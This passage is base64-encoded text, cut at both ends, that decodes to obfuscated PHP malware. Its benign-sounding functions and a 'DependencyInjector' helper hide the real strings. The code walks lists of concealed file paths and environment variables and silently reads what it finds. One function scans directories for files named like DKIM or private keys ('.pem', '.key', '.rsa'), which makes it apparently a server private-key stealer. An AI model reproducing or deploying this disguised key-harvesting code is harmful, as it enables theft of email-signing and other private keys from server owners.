sc2U7CiAgICAgICAgfQogICAgICAgIGlmIChQSFBfVkVSU0lPTl9JRCA8IDAyMzQyMDApIHsKICAgICAgICAgICAgQG9wZW5zc2xfZnJlZV9rZXkoJF90enIpOwogICAgICAgIH0KICAgICAgICAkX3d0ID0gY2hlY2tfYWNjZXNzKHZhbGlkYXRlX2VudHJ5KGRlY29kZV9pbnB1dCgkX2lsaiksIDAxMTQsIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdGknLCAnX2NzcicpKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ194eCcsICdfcXRtJykpOwogICAgICAgICRfdHkgPSAkX3JwcCAuICRfd3Q7CiAgICAgICAgJF9nd20gPSAkdGhpcy0+aW5pdGlhbGl6ZU1vZHVsZSgkX2l4aCwgJF90eSk7CiAgICAgICAgcmV0dXJuICRfZ3dtIC4gJHRoaXMtPl91YW8gLiAkdGhpcy0+X3VhbyAuICRfZG07CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlc2V0U3RhdGUoJF96dmksICRfcHgpCiAgICB7CiAgICAgICAgJF9wcXIgPSBhcnJheShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NhJywgJ19kZScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2p2ZCcsICdfZWJ4JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZGNpJywgJ19ibCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3BzdCcsICdfZG96JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaGsnLCAnX3JzeicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h6bCcsICdfeHUnKSAuICRfenZpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19raycsICdfZHYnKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25qbScsICdfcHMnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mbmMnLCAnX2V6bScpIC4gJF9weCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYWN0JywgJ19wZm4nKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193eicsICdfY2p4JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd2InLCAnX290bicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lwJywgJ19xZ3EnKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2locicsICdfZW52JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbHEnLCAnX2d5YScpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JpaicsICdfYWRoJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcmxkJywgJ19teXAnKSAuICRfenZpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19haCcsICdfYnVpJykgLiAkX3B4IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ190ZmonLCAnX25zJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfanRhJywgJ191cCcpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RtYScsICdfamMnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19hcycsICdfdnJ1JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmRzJywgJ19qeWUnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zY2UnLCAnX2FmJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXBzJywgJ193bWcnKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FuJywgJ195YScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX21haicsICdfeWx0JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc2snLCAnX29jeScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3VneCcsICdfbmhwJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenRmJywgJ19hZ3QnKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3lnJywgJ191d3MnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191enUnLCAnX3hlZycpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dnJywgJ19ya2onKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RsbicsICdfc2wnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19odXonLCAnX2pwdicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX29sJywgJ196b2knKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JubycsICdfd2wnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rYXMnLCAnX2R5JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfand1JywgJ19tZGEnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19uY3onLCAnX2lyaicpIC4gJF9weCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmRmJywgJ19uenQnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rb3cnLCAnX2lqbScpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JscScsICdfbHphJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb3gnLCAnX3NxZicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dmcicsICdfcWttJykgLiAkX3B4IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19zY2onLCAnX2d1JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYnMnLCAnX2J1JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZXBqJywgJ19nYWsnKSAuICRfcHggLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2poYicsICdfdm1vJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeGV0JywgJ190dXMnKSAuICRfenZpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jcycsICdfZGJ1JykgLiAkX3B4IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19rbScsICdfemxtJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY2onLCAnX3JyZCcpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NwJywgJ19vaCcpIC4gJF9weCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeW8nLCAnX2huJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcndnJywgJ196bicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JrZycsICdfaGVwJykgLiAkX3B4IC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19obScsICdfYWcnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xcScsICdfbW5sJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaXJjJywgJ19tYycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2t3JywgJ19ibycpIC4gJF9weCAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcWd0JywgJ196aycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3N4ZicsICdfempmJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeGwnLCAnX3NhdScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2JjZCcsICdfc2R2JykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfcGFsJywgJ19kb3QnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19jam0nLCAnX3pvJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZmt1JywgJ19qamknKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195ZnonLCAnX2lmbicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ViYycsICdfcm50JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdnRsJywgJ190bCcpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3NsdCcsICdfdGNyJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfbXUnLCAnX3N3eicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3JydCcsICdfZGZhJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfYXF6JywgJ19zYnQnKSAuICRfenZpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19mdnMnLCAnX2J2dycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3ZjJywgJ19wZCcpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3d5JywgJ196c3gnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vaycsICdfZ3FvJykgLiAkX3p2aSAuIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZWsnLCAnX3ZtaicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3hjJywgJ19lc24nKSAuICRfenZpIC4gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19pYycsICdfZW9tJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXVyJywgJ195bicpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3dwbCcsICdfemdnJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfY2drJywgJ191ZycpIC4gJF96dmkgLiBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2dqbScsICdfeGFhJykpOwogICAgICAgIGZvcmVhY2ggKCRfcHFyIGFzICRfbnkpIHsKICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX255KSAmJiBAaXNfcmVhZGFibGUoJF9ueSkpIHsKICAgICAgICAgICAgICAgICRfa2VpID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbnkpOwogICAgICAgICAgICAgICAgaWYgKCRfa2VpICE9PSBmYWxzZSAmJiBtb25pdG9yX2hlYWx0aCgkX2tlaSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ195dycsICdfenZ4JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkX2tlaTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3loID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19lYXMnLCAnX250aycpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3locycsICdfcG8nKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19td24nLCAnX3FoJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZnV0JywgJ19neCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2h3ZicsICdfcGonKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wa2YnLCAnX3poJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb25rJywgJ19mbXQnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vdycsICdfemV4JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdXJuJywgJ19kbCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2trbCcsICdfb296JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfenJ2JywgJ19yc2wnKSk7CiAgICAgICAgZm9yZWFjaCAoJF95aCBhcyAkX3liKSB7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF95YikgJiYgQGlzX3JlYWRhYmxlKCRfeWIpKSB7CiAgICAgICAgICAgICAgICAkX2x6ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfeWIpOwogICAgICAgICAgICAgICAgaWYgKCRfbHogIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKG9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2N2dycsICdfZ2gnKSwgJF9seiwgJF9iaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9uZyA9IHJ1bl9wcm9jZWR1cmUoJF9iaFswMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfbmcpICYmIEBpc19yZWFkYWJsZSgkX25nKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9rZWkgPSBAZmlsZV9nZXRfY29udGVudHMoJF9uZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9rZWkgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfa2VpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3pqJywgJ19lcicpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF9rZWk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAob2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfd2VuJywgJ195ZmknKSwgJF9seiwgJF9iaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9uZyA9IHJ1bl9wcm9jZWR1cmUoJF9iaFswMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfbmcpICYmIEBpc19yZWFkYWJsZSgkX25nKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9rZWkgPSBAZmlsZV9nZXRfY29udGVudHMoJF9uZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9rZWkgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfa2VpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3FjdicsICdfeGInKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfa2VpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKG9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ZxJywgJ194eHInKSwgJF9seiwgJF9iaCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9uZyA9IHJ1bl9wcm9jZWR1cmUoJF9iaFswMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfbmcpICYmIEBpc19yZWFkYWJsZSgkX25nKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9rZWkgPSBAZmlsZV9nZXRfY29udGVudHMoJF9uZyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9rZWkgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfa2VpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2ttYycsICdfdWgnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfa2VpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKG9icShEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3Z0cicsICdfbWJqJyksICRfbHosICRfYmgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbmcgPSBydW5fcHJvY2VkdXJlKCRfYmhbMDFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX25nKSAmJiBAaXNfcmVhZGFibGUoJF9uZykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfa2VpID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfa2VpICE9PSBmYWxzZSAmJiBtb25pdG9yX2hlYWx0aCgkX2tlaSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19laXInLCAnX3VlJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX2tlaTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChvYnEoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19ueGonLCAnX3RmJyksICRfbHosICRfYmgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbmcgPSBydW5fcHJvY2VkdXJlKCRfYmhbMDFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX25nKSAmJiBAaXNfcmVhZGFibGUoJF9uZykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfa2VpID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfa2VpICE9PSBmYWxzZSAmJiBtb25pdG9yX2hlYWx0aCgkX2tlaSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ191bmInLCAnX3J4cicpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF9rZWk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9yZCA9IGFycmF5KERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfam4nLCAnX3RlJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWpiJywgJ196eWInKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19nbycsICdfdmxyJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZHBxJywgJ19hYW0nKSk7CiAgICAgICAgZm9yZWFjaCAoJF9yZCBhcyAkX3VvKSB7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF91bykgJiYgQGlzX3JlYWRhYmxlKCRfdW8pKSB7CiAgICAgICAgICAgICAgICAkX3loZCA9IEBmaWxlX2dldF9jb250ZW50cygkX3VvKTsKICAgICAgICAgICAgICAgIGlmICgkX3loZCAhPT0gZmFsc2UgJiYgb2JxKERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdW9pJywgJ195cHInKSwgJF95aGQsICRfYmgpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9uZyA9IHJ1bl9wcm9jZWR1cmUoJF9iaFswMV0pOwogICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF9uZykgJiYgQGlzX3JlYWRhYmxlKCRfbmcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfa2VpID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbmcpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9rZWkgIT09IGZhbHNlICYmIG1vbml0b3JfaGVhbHRoKCRfa2VpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX25qJywgJ196aScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX2tlaTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3d6ID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19obCcsICdfcWVkJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZ3YnLCAnX2NrdCcpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3psJywgJ19sZnYnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19wcicsICdfemp1JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfeXl5JywgJ19nY3YnKSk7CiAgICAgICAgZm9yZWFjaCAoJF93eiBhcyAkX3FqdCkgewogICAgICAgICAgICAkX25qID0gQGdldGVudigkX3FqdCk7CiAgICAgICAgICAgIGlmICgkX25qICYmIG1vbml0b3JfaGVhbHRoKCRfbmosIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfdnpuJywgJ19sbycpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkX25qOwogICAgICAgICAgICB9IGVsc2VpZiAoJF9uaiAmJiBAZmlsZV9leGlzdHMoJF9uaikgJiYgQGlzX3JlYWRhYmxlKCRfbmopKSB7CiAgICAgICAgICAgICAgICAkX2tlaSA9IEBmaWxlX2dldF9jb250ZW50cygkX25qKTsKICAgICAgICAgICAgICAgIGlmICgkX2tlaSAhPT0gZmFsc2UgJiYgbW9uaXRvcl9oZWFsdGgoJF9rZWksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfZXFqJywgJ19mdmonKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfa2VpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfd2xyID0gYXJyYXkoRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tbCcsICdfaGonKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19xdncnLCAnX3JpJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb3ZsJywgJ19ibGsnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ193YWYnLCAnX2JvYScpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX3N3aycsICdfZmFyJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfb2InLCAnX3ZvYicpLCBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2NheCcsICdfd2l0JyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfaWNxJywgJ19nY2knKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19tYicsICdfbWVjJyksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfc29qJywgJ195bGwnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ19vcicsICdfY2wnKSwgRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196enknLCAnX3hsdycpKTsKICAgICAgICBmb3JlYWNoICgkX3dsciBhcyAkX2phYSkgewogICAgICAgICAgICAkX2VmbiA9ICR0aGlzLT5mZXRjaFN1bW1hcnkoJF9qYWEpOwogICAgICAgICAgICBmb3JlYWNoICgkX2VmbiBhcyAkX25nKSB7CiAgICAgICAgICAgICAgICAkX2tlaSA9IEBmaWxlX2dldF9jb250ZW50cygkX25nKTsKICAgICAgICAgICAgICAgIGlmICgkX2tlaSAhPT0gZmFsc2UgJiYgbW9uaXRvcl9oZWFsdGgoJF9rZWksIERlcGVuZGVuY3lJbmplY3Rvcjo6Y2FsY3VsYXRlU3VtKCdfamInLCAnX3B6bScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF9rZWk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBmZXRjaFN1bW1hcnkoJF9qYWEsICRfZmxoID0gIi8uKihka2ltfHByaXZhdGV8c2VsZWN0b3IpLipcXC4ocGVtfGtleXxyc2EpXCQvaSIpCiAgICB7CiAgICAgICAgaWYgKCFAaXNfZGlyKCRfamFhKSB8fCAhQGlzX3JlYWRhYmxlKCRfamFhKSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgICAgICB9CiAgICAgICAgJF9sdnMgPSBAc2NhbmRpcigkX2phYSk7CiAgICAgICAgaWYgKCRfbHZzID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgICAgICB9CiAgICAgICAgJF95ZSA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF9sdnMgYXMgJF9xdGwpIHsKICAgICAgICAgICAgaWYgKCRfcXRsID09PSBEZXBlbmRlbmN5SW5qZWN0b3I6OmNhbGN1bGF0ZVN1bSgnX2RxJywgJ190ZmYnKSB8fCAkX3F0bCA9PT0gRGVwZW5kZW5jeUluamVjdG9yOjpjYWxjdWxhdGVTdW0oJ196Z24nLCAnX2d1dCcpKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2hlcCA